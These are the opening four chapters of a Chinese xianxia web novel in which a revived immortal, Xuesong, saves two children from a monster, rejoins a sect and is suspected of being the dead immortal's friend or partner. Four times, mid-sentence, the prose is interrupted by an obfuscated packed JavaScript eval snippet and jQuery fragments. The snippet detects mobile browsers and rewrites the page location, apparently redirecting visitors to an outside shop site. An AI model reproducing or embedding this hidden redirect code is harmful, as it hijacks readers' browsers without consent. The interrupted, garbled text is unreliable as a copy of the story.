《我对马甲真没有非分之想》
1. 第 1 章
“时间过得真快啊,今天已经是仙尊的头七了吧?”
“那我们上山去祭拜一下吧?我记得前阵子有人在山上给仙尊立了个祠堂牌位呢。”
“好啊好啊,现在就去吧,不过只有我们两个人不太安全,还是再加一些人?把全村的人都叫上好了!这样一定够安全了!”
一群人商量好之后,浩浩荡荡向山上而去。
与此同时,睡了整整七天的雪松,睁开眼睛醒了过来,伸了个懒腰,往周围看了看,一时分不出地点,向系统问:“你把我送哪儿了?”
“你最开始出现的地方。”系统回答。
“原来是这个地方,”雪松拍拍系统赠送的一身白的基础服装,“我记得当初就是在这座山上,遇到了一个怪物,我靠回档杀了之后,正在休息,遇到了从天而降的宗门长老,问那个怪物是不是我杀的,我说是,他就问我要不要加入宗门,我就答应了。”
雪松一脸唏嘘,缓缓走了出去:“真是怀念啊,已经过去那么久了,有时候想起来还像昨天一样,但我已经很久没有见过这里了。”
他停顿了一下,神色复杂,垂着眼睛,扯了扯嘴角笑了,喃喃自语:“连梦里也快忘光了。”
他重新拍了拍衣服,抬起头来,往左右看了看,隐约还记得下山的路,准备下去看看,就沿着路往下走。
不过时间太久了,他记得毕竟不清楚,一不小心走偏了,走到了没有路的地方,左右看了看,打算找块石头或者树干靠着休息一下。
反正,他也没什么急事要做,更何况有系统在,无论如何也不会死,休息的时间花再多,也不会心疼。
他刚刚找了块石头,还没坐下来,就听见不远处传来了小孩的呼喊声,一男一女,一边哇哇哭着一边叫道:“爸爸妈妈救命啊!爹娘!有怪物要杀我们!要死了!救命啊,救命啊!”
他从系统那里掏了一把没有等级的基础长剑,循着声音就找了过去,找到的时候发现,发出声音的确实是两个小孩。
只不过他们分别被捆在两棵树的树枝上,因为他们哭喊挣扎,树枝即将断裂,眼看着就快撑不住他们的重量要把他们摔在地上了。
理论上说,雪松现在要做的,应该是出声安慰他们,让他们不要着急,不要紧张,不要乱动,告诉他们,他们爹妈马上就到,他们很快就能被放下来。
但他不想多费口舌,往周围看了一圈,找到了罪魁祸首,一个浑身长满了树枝的怪物,瞪着两颗铜铃大的眼睛,正发出悉悉索索的声音,想要偷袭他。
他毫不犹豫提着剑过去,一根藤蔓向他的脸飞了过来,想要取走他的眼睛,他靠着从前的熟练度,一剑削断了向他飞过来的藤蔓。
藤蔓被削断之后,在地上像断掉了头的蛇一样扭动着,还想趁他不注意,爬到他的脚踝上狠狠咬他一口。
他一脚踩了下去,冷笑道:“雕虫小技。”
躲起来的怪物,听见这话大为恼怒,觉得自己被嘲讽了,迅速冲了出来,向着他发出了一声咆哮,这声音之大,旁边的两个小孩都瞪大了眼睛,呆住了,安静如鸡。
雪松毫不犹豫使用了投掷技能,虽然他之前那具满级账号的身体已经死了,现在完全是崭新的,一个什么都没有的小号,但他从前毕竟是一路打上去的,一些基础的东西还在,并不受上一个账号毁灭的影响。
那一剑当然是毫无疑问击中了怪物,而且因为雪松之前就知道这种怪物,所以他很清楚这种怪物的弱点在哪里,一击即中。
只不过因为现在等级稍微低了一点,这一击只是重创了怪物,没把怪物弄死,他觉得有一点可惜,在怪物发狂大喊大叫,搞得地动山摇的时候,往旁边躲开了。
这种时候的怪物攻击力比较强,他要是凑上去一下就死掉了,所以要等一等,心急吃不了热豆腐,耐心的猎人才会有猎物。
怪物的力气逐渐衰弱下去,恐慌从心底里冒出来,一点一点替代了愤怒,怪物即将准备逃跑了。
但它并不准备直接转身就逃,因为它正面迎敌的时候都会被一下击中弱点,要是背面逃跑恐怕只有死亡的份。
虽然现在的雪松手上没有任何武器,但它也不敢赌雪松能不能随手从旁边再拿出一把剑来,赌输了,它丢的是自己的命,它可不愿意,所以,它准备佯攻。
它的算盘打得很好,假装攻击之后,雪松一定会下意识对他进行防御,它就可以趁着雪松防御的时候逃跑,这招对附近的猎人屡试不爽,它之前已经用这招逃脱好几次了。
它相信这招一定会成功,做出攻击的姿态,同时在心里想,逃跑之后,休养生息,恢复好了,它一定要重新找到这个人,狠狠偷袭报复,最好弄死!这种人就不该活着!
因为是这样想的,所以怪物的攻击姿态异常真实凌厉,任何人看见了,都会觉得,如果不防御或者逃跑,一定会死在那攻击之下。
听着小孩哭喊声赶到附近的村民们,同时看见了怪物和雪松,不由得瞪大了眼睛,倒吸一口凉气,屏住呼吸,连一点多余的声音都不敢发出来,全部僵住了。
如果躲不开或者不防御,一定会死吧?一定会死吧?
村民们不约而同这样想着,感到手脚冰凉,为自己即将见到的死亡默哀,忍不住闭上眼睛,希望自己不要看见鲜血飞溅的场景。
正在天上路过的宗门长老,见到底下密密麻麻一群人又有怪物的气息涌动,不知发生了什么事,按下云头来,定睛一看,正好看见怪物向雪松发起了攻击,瞪大眼睛,和村民一样,忍不住倒吸一口凉气,为他的安危感到担忧。
不过,长老比村民们想的东西更多一些,他看着底下的怪物和雪松,想到了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553883|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死去的仙尊,忍不住喃喃道:“如果是他,大概会直接冲上去吧?
根本不躲不避,就好像早知道一切敌人的弱点,只要去做就可以解决问题,无与伦比的天赋,令人望而却步,真是印象深刻啊!”
话音未落,所有人都看见雪松的下一步动作,他在怪物向他发起攻击的时候,毫不犹豫冲了过去,一把抓住了扎在怪物身上的那把剑的剑柄,就像开门转动钥匙一样,咬着牙露出微笑,狠狠一扭,用极其愉悦的欢快的声音,喊道:“去死吧!”
虽然这同时也是怪物的心声,但怪物听见这样的话只感到恐惧,啊了一声,连原本要继续完成的假装的攻击都没有办法做到,在恐惧的驱使下,转头就跑,一点犹豫也没有。
雪松趁机把剑从怪物的身体里拔了出来,只听呲的一声,怪物身体里数不清的绿色的血液喷溅而出,洒了一地,到处都是。
连树叶上也没能幸免,滴滴答答的,开始往土壤垂落腥臭的血液。
远处的人们更加震惊,抹了一把脸,面面相觑,几乎不敢相信自己的眼睛,但事实就是这样。
一个他们从来没有见过的少年人,拿着那么一把普通的剑,抢在他们前面,找到了他们丢失的孩子,还当着他们的面,杀死了,弄走他们孩子的怪物。
一切都不可思议极了,像是在做梦一样!
他们反应过来冲了过去,一边把孩子从树上解救下来,一边对那手上还提着鲜血淋漓的剑的年轻人感谢说:“如果没有你,这两个孩子还不知道怎么样,真的非常感谢你能把他们救下来!
还有杀死刚才那个怪物的事!你真了不起!那个怪物困扰我们很久了,只是,我们每回设下陷阱都叫他跑掉,今天真是多亏了你!”
雪松擦了一把脸上的血,转过身来,对他们露出一个战斗过后酣畅淋漓的,像泛在雪上的阳光一样冷冽的微笑:“不用客气。”
所有村民们都愣住了,他们瞳孔地震,欲言又止,喉咙好像被掐住一样,发出分外震惊的呼吸,只是说不出话来。
原本就已经按下云头的宗门长老,在看见雪松面对怪物的攻击不躲反上的时候,只觉得他是一个和仙尊有些相似的好苗子,可以尽快收入宗门,但并不着急。
因为仙尊生前死后,都是极其有名的强大的人物,会有年轻人模仿并不奇怪,有些人模仿特别到位,只怕本人来了也会愣住。
但当长老听见,底下那个提着剑的少年说出不用客气几个字的时候,像站在地上的村民们一样,瞳孔地震起来。
如果他没有记错,当年的仙尊在杀死怪物之后,就说了这样一句话,如果不是很清楚记得,仙尊已经死了,他几乎要怀疑底下那个少年就是仙尊变小了。
因为那句话的语气和声调,甚至连停顿都一模一样,就算是仙尊本人来说也不会更像了!
2. 第 2 章
宗门长老迅速落在地上,三步并作两步,走到了雪松面前,定睛一看,看见了雪松的脸,又吃了一惊。
像!太像了!怎么会这么像?简直是一模一样!就算是仙尊的孩子,也不会长得这样像仙尊的。这根本就是仙尊的脸。
雪松被宗门长老用那样震惊而直勾勾的目光盯着看,挑了挑眉,随手擦了一把脸,问他:“怎么了?”
宗门长老回过神来,正要说话,突然注意到他一身白的衣服,还有他手上那把正在滴血的剑,不由得像是突然吞掉一块石头一样,又一次哽住了。
“这身衣服,”宗门长老两眼发直,怀疑自己出门前被人敲了闷棍,现在其实还没醒,满脸破天荒的震惊,几乎喘不过气来,喃喃自语,“和我当年见到仙尊时,完全一样,连那把剑也是。
我从来没有见到第二个和当年的仙尊穿得一模一样的人,也没有见到第二个和仙尊当年用的剑一模一样的人。”
站在旁边的已经有些回过神来的村民忍不住问:“为什么?为什么没有第二个?”
长老十分恍惚,笑了一下说:“因为仙尊随我入宗门之后,就穿上了宗门的衣服,在那之后就几乎再也没穿过其他的。
偶尔也有人劝他换一换,但他都摇头拒绝了,虽然从来没有说过为什么,但大概是因为那身衣服对他有特别的意义吧。
至于那把剑,或许是材质特殊,可以模仿外形,但本身那种削铁如泥又轻便明亮的质感,根本是模仿不了的。”
长老转头看着站在不远处一脸空白的雪松,若有所思,喃喃自语道:“穿一样的衣服,用一样的剑,说一样的话,连语调都一样,不会有错了——”
雪松听着长老的话,突然紧张起来,有点担心第一天就被识破身份,他现在太弱了,被人认出来,莫名觉得有点丢脸,下意识垂着眼睛,屏住了呼吸。
长老像是头上突然亮了一个灯泡的名侦探一样,一只手摊开,一只手握拳,猛然间把拳头锤在摊开的手上,一脸恍然大悟的表情,大声说:“他把衣服和剑都送给你了!你们一定认识!关系很好吧?他为什么从来没有提过你呢?你是他的孩子还是他的徒弟?”
雪松听到“一定认识”,松了一口气,他刚才还以为长老猜到了什么,现在看来根本什么也没猜到嘛,完全不用担心的。
不过,随后听到是孩子还是徒弟的问题,雪松的表情变得分外微妙而古怪,他既没有孩子,也没收过徒弟。
他是来玩儿的,可不想给自己添麻烦,对外也一直敬而远之,理论上说,任何人都不应该认为他有孩子或者徒弟的。
长老怎么会那么想?
“我既不是他的徒弟,也不是他的孩子,”雪松毫不犹豫拒绝当自己的徒弟或者孩子,虽然他没换脸,但他也不是很想和之前的自己有什么关系,之前是满级,都死了,现在刚起步,会死的概率大大增加,他还是少搅混水,满级之后再说明情况吧,“只是恰好和他长得有点像而已。”
雪松说到长得有点像,就忍不住想笑,实际上根本是一模一样,他当然知道,但他不想改,如果一定要改,那就等到下一次吧。
反正他这次是不改的,他努力控制了一下表情,重新恢复了平静,就好像真的既没有见过仙尊,也不知道仙尊究竟长什么样子,只是从其他人的反应里,确认自己和那位仙尊长得有些相似,仅此而已。
长老直勾勾盯着他,反复把他现在的脸和表情对比自己记忆中的那位仙尊,确认他们不只是脸像,连表情也像,性格也像,已经震惊到快要麻木了,呆呆说:“可不只是有一点点像啊。”
“那就再多一点好了。”雪松无所谓说。
长老哽了一下,喃喃自语:“连喜欢突然说别人会愣住的冷笑话也一样。”
雪松这下子不知道说什么好了,因为感觉不管做什么,都会被说,真是太像了,他想了想,干脆板着一张脸,冷冷道:“没事我就走了。”
他说着,转身向山下走去。
众人都是一惊,村民们连忙围成一个圈拦住他,十分热切真诚说:“到我们家吃顿饭再走吧,我们这儿虽然没什么特别好的东西,但吃顿饭还是够的,您要是想睡一觉也成!要是让您就这么走了,叫别人知道,可是要戳我们脊梁骨的!您可是我们的救命恩人呢!”
雪松皱了皱眉,冷着脸有些迟疑,但却是停住了脚步。
长老连忙挤进人群,出示了一下自己的身份令牌,笑眯眯对他说:“你刚才见义勇为杀死怪物的事情我都看见了,我想邀请你加入我们宗门,你觉得怎么样?我可以直接把你带到宗门去,如果你愿意,你今天就能成为宗门的弟子。”
雪松想了想,如果要靠自己从一个地方走到另外一个地方也不是不行,但是花的时间会比较多,如果加入宗门,也许可以节省时间,更何况,他上一次确实是加入了的。
他深吸一口气,皱着眉头,仿佛勉为其难一样说:“可以。”
长老喜出望外,立刻拉住他说:“事不宜迟,现在就走吧。”说完,长老腾上云头,一边把人带走,一边对底下的村民说:“吃饭的事情,麻烦你们下次再谈吧!”
村民们跺了跺脚,但又不会飞,只好无可奈何,看着他们飞走了。
稍微收拾了一下,天色不早了,村民们沿着路下山去,手里牵着小孩,免得再次跑掉,或者一不小心又被怪物拽走。
小孩一边走一边问:“今天看见的那个大哥哥和我们要祭拜的那个仙尊有什么关系吗?大家都说好像好像噢,怎么像法呀?”
牵着小孩的大人说:“脸长得一模一样,衣服一模一样,剑也一模一样,连说话都像,可是我们明明
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553884|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都知道,仙尊已经死了,这才是最蹊跷的地方。”
“那是借尸还魂吗?还是重生?或者转世?”小孩子用手点着下巴,若有所思,一脸好奇问。
“他死得透透的,你说的那些都不可能,”大人摇了摇头,神色回忆中带着唏嘘,“不过,他确实和当年那位仙尊,简直毫无差别,真令人惊讶。”
小孩不太明白,歪了歪头,大人低头对小孩说:“那些麻烦的你都不用管,你只要记住,当年仙尊从我们这儿出去,从怪物手下救了两个人,那两个人是我们村子里的祖宗,你们今天又被救了一次,不管那个人是不是仙尊,你们都一定是托了仙尊的福,下次祭拜仙尊的时候,一起感谢了吧。”
小孩懵懵懂懂点了点头,突然灵光一闪,觉得自己想通了关窍,拉了拉大人说:“那该不会是仙尊的道侣吧?”
大人猛然一惊,一边觉得有点道理,一边又觉得自己不能相信小孩子的话,就问:“为什么这么想?”
小孩子一脸天真,睁着眼睛,理所当然说:“只有常常在一起的人才会很像啊,小花常常到我们家来玩,别人都说小花和我像。”
与此同时,宗门长老把雪松带到了宗门里,给他领了一套宗门弟子服饰,一把单独的洞府的钥匙,还有一个弟子令牌。
“你叫什么名字?”长老拿着令牌,十分期待问。
“雪松。”雪松毫不犹豫回答。
他连脸都没改,自然名字也没有改的必要,长得一模一样,都可以说是巧合,同名同姓不过是普通事件罢了,更不用遮掩。
长老愣了一下,一边嘱咐旁边的弟子在记名册上写下他的名字,一边在令牌上刻了他的身份,把令牌递给他,神色极其复杂,注视着他说:“以后这就是你的身份,记得随身携带,在宗门里时常要检查的,不管是去食堂还是进教室,又或者外出执行任务。”
雪松点了点头,接过令牌,对这套流程十分熟悉,连表情都没变一下,就把令牌揣进了衣兜里,接着问:“我的洞府在哪里?”
长老给他指了个方向,想试试他究竟能不能自己找到,或者究竟知不知道那地方在哪里,没有要领他去的意思,对他笑了一下说:“我想起来还有一件事要办,不能陪你去了,你可以自己去吗?”
“可以,”雪松面不改色点了点头,看了他一眼,就好像完全清楚他在想什么一样,一种清凌凌的寒冰般的目光,“你走吧。”
长老还以为他会挽留,没想到他直接这么说了,愣了一下,随后又不由得想到了仙尊,如果是仙尊,大概也是这个反应,就有些恍惚笑了一下,感慨道:“好。”
雪松转头离开。
长老暗自跟随了一段路,发现他确实知道方向,放下心来,转头走了,正好在路上看见自己的徒弟,顺手拉着徒弟把一路上的事都说了。
3. 第 3 章
徒弟想起了很久以前的,一件和仙尊有关系的事情,站在原地,迟疑了半晌,喃喃问:“您还记得,有一回我们去找仙尊,发现他在写信?”
“他并没有给我们看他究竟写了什么,也没告诉我们他究竟是在给谁写,只说是一个朋友,”长老想起来了,点了点头,若有所思,“他还说那个朋友就住在之前的那座山上。”
二人对视一眼,同时倒吸一口凉气:“难道这个雪松就是仙尊那个朋友?仙尊的信是写给他的?怎么从来没有看见他回信?”
二人都意识到自己好像发现了什么了不得的秘密,开始试图复盘今天的事情。
“能详细讲讲,他听见您猜测他们之间的关系的时候,是什么表情吗?”徒弟抓住长老问。
长老回忆了一下说:“他低着头,垂着眼睛,好像还有点紧张,压着眉毛,忍耐什么,我很确定他的嘴角抽搐了一下。”
“或许他们之间不只是朋友,”徒弟若有所思,点了点头,“他听见您提起仙尊,不像是一无所知,这也不奇怪,天底下知道仙尊的人多了,但一般人只是崇敬,或者惋惜,难过到需要忍耐的地步,倒也不多。”
“难不成是,”长老瞪大眼睛,倒吸一口凉气,感觉自己的震惊值又回升了,“道侣?”
徒弟迟疑了半晌,摸摸下巴,声音低低说:“倒也不是没有这种可能。”
“他好像还认得路!”长老突然想起这事,连忙说:“正常的新生弟子都需要一个前辈带着去洞府的,因为宗门太大了,他们刚来一般都找不到路,很容易走错。
我本来想带他去的,但是,想要试试他,就说有事,让他自己去,他答应了,直接往洞府的方向走,一点偏差都没有,一点犹豫都没!”
徒弟瞪大眼睛:“没来过的人不可能认得路,他一定来过!”
徒弟若有所思,脸上不由自主浮起了窥视仙尊秘密的兴奋:“说不定曾经是仙尊带他来转过,所以他记得,不过,既然所有人都不知道仙尊有这么个朋友,还带来转过,仙尊的保密工作,做得可真好啊!”
长老一脸赞同,点了点头,神色有些敬佩:“要不是我们偶然间发现了一些端倪,说不定到现在还被他蒙在鼓里呢!仙尊不愧是仙尊!想要隐瞒的事情,一般人根本一点都不知道!”
“正好用不了多久就是新生弟子试炼会,”长老想了想说,“你去带队吧?你有这个资格,他作为新生弟子,应该会参加,你可以近距离观察一下,再做判断。”
徒弟若有所思,点了点头,眼神中闪烁着跃跃欲试的兴奋,一口答应下来:“好啊,我已经迫不及待想亲眼见见他,究竟和仙尊有多像了!”
顿了顿,徒弟突然想到一件事,更加兴奋,摩拳擦掌说:“我记得仙尊也参加过新生弟子试炼会吧?这一次的试炼会地点和仙尊那一次一样吧?说不定会有什么特别的发现呢?”
长老也想起了这件事,点了点头,忍不住期待着微笑道:“那我们就拭目以待吧,有消息,你可千万要第一时间传回来告诉我呀!”
徒弟笑眯眯拍着胸膛说:“包在我身上!”
到了洞府的雪松,躺下来好好休息了一阵,出去的时候天光大亮,一个宗门弟子来向他告知新生试炼会的事,被他的脸震惊了一下。
“你怎么长得和仙尊那么像?你是仙尊的鬼?你什么时候回的魂?你怎么不通知我们?”敲门的宗门弟子倒吸一口凉气,大惊失色。
雪松一时兴起,冲他咧开嘴,露出一个饶有兴致的微笑,慢条斯理又意味深长说:“这是个秘密。”
那个弟子浑身一抖,不知想到什么,脸色发绿惨叫着转身跑了。雪松靠在门口,低头笑了笑。
有两个路过的弟子看见了他,被他的脸吓得魂飞魄散,迅速转身跑了,没过多久,一群崇拜仙尊但信奉用武力值解决问题的弟子聚集了过来。
雪松当时正坐在门口,懒洋洋晒太阳,觉得虽然太阳有一点大,但晒起来还是很不错的,门口聚集过来的弟子们都愣了一下。
他们从前是从来没有见过仙尊用那么一张脸,露出那么惬意懒散又温和的表情的,以至于觉得自己是中了幻术。
领头的那个抱住自己的头,表情狰狞,一边对自己念解除幻术的咒语,一边喃喃道:“这一定是梦!仙尊绝不会露出这种表情!我不相信!这是为了打击我对仙尊的信仰!我不会中招的!醒过来!醒过来!”
解除幻术的咒语当然没有任何作用,毕竟他们就没中。
但发现咒语没有作用的弟子们,都有些恍惚,一方面不敢相信一切是真的,一方面又觉得也许是自己能力不到位,所以其实根本没解除了。
雪松笑眯眯对他们打了个招呼问:“有什么事吗?”他可不相信他们是来祝贺他乔迁新居的。
他把众人都扫了一眼,看出他们是来找茬的,慢吞吞站起身,向他们问:“是要打架吗?一个一个来还是一起来?现在来还是明天来?我劝你们立刻开始,我的耐心可不多,太烦的话,我可不会手下留情。”
刺头目眦欲裂,握着拳头,大怒道:“你这披了一层仙尊皮的怪物!你居然敢用仙尊的脸,说这样的话?果然怪物就是怪物!兄弟们一起上!不要对他手下留情!打痛了,他才知道应该从这里滚出去!”
雪松有一点惊讶,他居然会这么生气,但听他说完这些话,还是忍不住有点想笑,轻轻点了点头,满不在乎说:“那就来吧。”
与此同时,知道有一群人要去找雪松麻烦的普通宗门弟子,把事情报告给了长老,长老得知消息,带着徒弟赶了过去。
他们倒不担心雪松会被欺负,只是担心,那些上门找雪松麻烦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553885|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的宗门弟子们,可能因为说话没大没小,被教训得要躺在床上,三个月都爬不起来。
那用不了多久的新生试炼会可能少一批人,看起来不太妙,还是试着阻止一下比较好,阻止不了也没关系。
反正雪松无论如何都和仙尊有关系,看在仙尊的份上,不会把那些人全都弄死的,他们上门去找别人的麻烦,总不能让人不还手。
等到长老和徒弟赶到雪松洞府门口的时候,那群人已经全都趴在地上爬不起来了,说话最多的鼻青脸肿,动手最多的手脚都弯折,忍耐不了疼痛的在地上,一边翻滚一边哎呀惨叫,整个场面看起来十分凄惨。
除了雪松,他把人打完之后,重新坐回他的小板凳上,眯着眼睛晒太阳,像一只毛发极其蓬松的布偶猫,在阳光下闪闪发亮。
徒弟停在不远处,直着两只眼睛看着他,对长老喃喃道:“我突然明白,为什么仙尊要把他藏得那样隐蔽了。”
如果不隐蔽,或许早就被人抢走了,哪怕这个雪松和仙尊,长着一样的脸,用着一样的名字。
总有人不介意折辱仙尊,但仙尊太强,半点也碰不到,那要是有人见到了雪松,恐怕,雪松是难逃一劫的。
“不管这位是仙尊的朋友还是道侣,”徒弟挺了挺胸膛,心里突然涌起一股责任感,像是被托孤似的,仍然盯着雪松,义正言辞而信誓旦旦说,“我一定会好好保护他的!”
长老拍了他一下头,低声警告道:“你最好只是保护,不要起什么歪心思,那是仙尊的!”
徒弟捂着头,忍不住笑了起来,低声道:“我当然知道是仙尊的,但仙尊的人都已经死了,总不能,从坟墓里爬起来,阻止别人喜欢他喜欢的人吧?就算他活着,他也做不到啊。”
徒弟若有所思,摸了摸下巴,充满了好奇和跃跃欲试的兴奋,喃喃道:“如果他活着,他或许可以阻止他喜欢的人喜欢别人,但这位是不是他喜欢的人,还不好说,究竟喜不喜欢他,也不好说呢!”
长老不得不又拍了他一下,认真提醒说:“总之,你做好自己该做的事,不要节外生枝,也不要异想天开,听见了没有?”
徒弟笑嘻嘻抱着头说:“听见了。”
“你去检查一下他们的伤势,”长老对自己的徒孙说,“顺便通知一下,就在宗门里的医修,让他们赶过来治一治。”
长老说着,看了那满地的人,只用一眼就确认他们伤势并不重,放松下来,挥了挥手:“不用立刻治好,稍微治治,让这些人能自己回洞府去,也就够了。”
徒孙点了点头,立刻通知了医修,医修们赶了过来,把地上的人都治了一遍,他们一瘸一拐从地上爬起来,脸上青紫,看着仍然不服气,但目光望向雪松,又不约而同狠狠打了个哆嗦。
显然,即使情感不容让步,理智也提醒着他们。
4. 第 4 章
雪松对他们露出一个十分平易近人的微笑:“再见。”
他们脸上露出像是见了鬼的表情,瞪大眼睛,飞快转身,恨不得多长两条腿一样,一高一低跑走了。
雪松一只手撑着下巴,歪头看着他们离开,喃喃自语:“看样子,一时半会儿是不会再来了。”
长老的徒弟走到他身边,两只眼睛亮晶晶望着他,好像一只卷毛小狗望见了新买回来的玩具球,恨不得上嘴咬一咬:“你好,我是长老的徒弟,你可以叫我长青。”
“你好,”雪松对他点了点头,“你知道我的名字吧?”
“知道,”长青挑了挑眉,“长老已经告诉我了,你可是宗门里的大红人呢,现在很少有几个人不知道你的了。”
长青说着蹲在他身边,像只摇着尾巴的小狗似的,笑眯眯对他说:“你进来的时候那张脸已经够轰动的了,你的名字更轰动,现在又有今天这样的事,你不出名也不行呢。”
不知道为什么,雪松听他说话,感觉他是在用逗猫棒玩流浪猫。
雪松用诡异的眼神看了他一眼,要知道雪松在当仙尊的时候,长青还是老老实实,低着头站在人群远处的,通常作为背景板一样的存在,既不多说一句话,也不多走一步路,整个人规矩极了,好像提线的木偶一样。
雪松有时候以仙尊的身份看见他,都怀疑,他是不是被长老控制了,根本不是一个活人,但是,寻常时候跟他交流,他又一切正常,看不出来什么不对劲。
原来这才是他的本性。那从前他在仙尊面前表露出来的,多半是受规矩限制的伪装了,也不知道他的伪装里,几分是真心。
雪松想了想,岔开有名不有名的话题,另外问他:“我打算参加宗门新生试炼会,你呢?到时候你也去吗?”
“我当然要去,”长青点了点头,微笑着目不转睛看着他,充满了期待有趣事情即将发生的兴奋,缓缓道,“以我的资历,到时候也许我还是队长呢,我会好好照顾你的!”
长青顿了顿,用一种诡异的重音,像是把好好两个字在嘴里当奶糖球转了一圈,意味深长又笑嘻嘻说:“我会好好照顾你的。”
雪松看了一眼不远处的长老,有点想抓着他问,你找的什么徒弟?怎么有点变态?
长青顺着他的目光看了一眼长老,笑嘻嘻说:“看我师尊干什么?虽然是他把你引进门来的,但他平时可有的是的事情要做,不会一直待在你旁边照顾你的。”
雪松皱了皱眉,他立刻改口道:“我当然知道你不需要人照顾,我只不过是觉得,像你这样的人,身边应该有人照顾才对啊。”
雪松歪了歪头,感觉他每个字都在试探,跟他相处好烦,又好累,站起身来提着自己的板凳说:“我要回去休息了,再见。”
雪松提着板凳进了门,当着长青的面,把门关上了,砰的一声,倒是一点也没留情面,不过,那空地上本来也没几个人,倒也无所谓。
更何况,长青不是在乎这些的人,他好像什么事情也没发生一样,慢吞吞站起身来,贴着门敲了敲,笑眯眯说:“那我们就新生试炼会再见了?”
他的徒弟狠狠打了个哆嗦,向自己的师兄弟,低声说:“师尊越来越怪了。”
师兄正要点头,忽然瞪大眼睛,看向了他身后,他浑身一僵,缓缓转过头去,看见长青已经不知什么时候站在了他身后。
笑眯眯的长青敲了敲他的头,语气十分甜蜜,但说出来的话像刀子一样尖:“你要是再在我的背后说我的坏话,我就不是敲一敲了!”
他狠狠打了个哆嗦,脸色都被吓得有点发白,像一块被消毒水泡过的帕子,甚至有点皱巴巴的,连忙点头,声音有些虚:“我明白!”
长青得了回复,收回手,背在背后,像个被太阳晒裂口了的南瓜似的,笑眯眯说:“那我就先走了!这里交给你们了!”
众人连忙点头,恨不得把头点出残影。
长青笑嘻嘻走了,一边走一边对前面的已经离开很远的长老说:“师尊啊,你走慢点,等我一下!我还没赶上呢!你别跑啊!”
新生试炼会的日期转眼就到了。
今年这一批加入宗门的新生全都站在空地上,宗主简单讲了两句欢迎之类的话,又向众人介绍起了这次新生试炼会的情况:“新生试炼会的目的地已经确定。
传送阵即将开放,请你们每个人拿好自己的身份令牌,不要丢失,排好队有序进入传送阵,传送阵会把你们传送到目的地。
落地即开始,试炼会什么时候结束是随机的,所以请你们注意生命安全,不要到处招惹不该招惹的东西。
如果不小心惹到没有办法抵抗的危险,可以寻找宗门派出的队长,他们通常是比你们身份和等级都更高的宗门前辈,有能力保护你们,他们也有权拒绝保护,不要理所当然。”
宗主的演讲结束之后,传送阵开启,众人鱼贯而入,早就在人群中锁定雪松位置的长青,笑眯眯凑了过来,一把抓住他说:“进去之后可能会分开,我送你个东西。”
他一边说,一边把一个黄金镯子挂在了雪松的手腕上,另外一个镯子在自己的手上,还炫耀似的,笑眯眯对雪松晃了晃说:“有这个东西,我就随时可以找到你了,你也可以找我,不过,你的修为比我低,恐怕是找不到,等我去找你就好,千万不要乱走!”
雪松点了点头。
长青笑眯眯望着他,伸出手来,试图摸摸他的头发,像是望着一只花色极妙的流浪狸花猫,异常蠢蠢欲动,甚至隐约有点想把它塞进嘴里,尝尝味道。
雪松一个箭步冲进了传送阵,在他面前消失不见,长青有些唏嘘,捏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553886|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
捏自己空空的手,又有些遗憾,一边往前走,一边喃喃道:“要是能把他变成猫塞进嘴里就好了,一定很有意思。”
说完,他笑了一声,缓步进入了传送阵。
眼前白光一闪,雪松出现在一片森林里,这片森林十分眼熟,他当初进行新生试炼的时候就是在这个地方。
他迅速辨别了一下方向,按照记忆中的路线,寻找自己当初留在这附近的,一些东西。
“路线很明确呢,”长青一边感受着金镯子另外一边传来的指引,一边笑眯眯对挂在胸前的徽章说,“师尊。”
通过徽章联系他的长老,坐在宽大的椅子上,一边查看他周围的情况,一边回答:“看来他确实知道路,不仅知道宗门里的路,还知道试炼里的路,没想到啊,没想到,仙尊看起来冷心冷情一个人,不仅暗地里,趁着大家都不知道带朋友游遍了宗门,甚至还把人带进了试炼?”
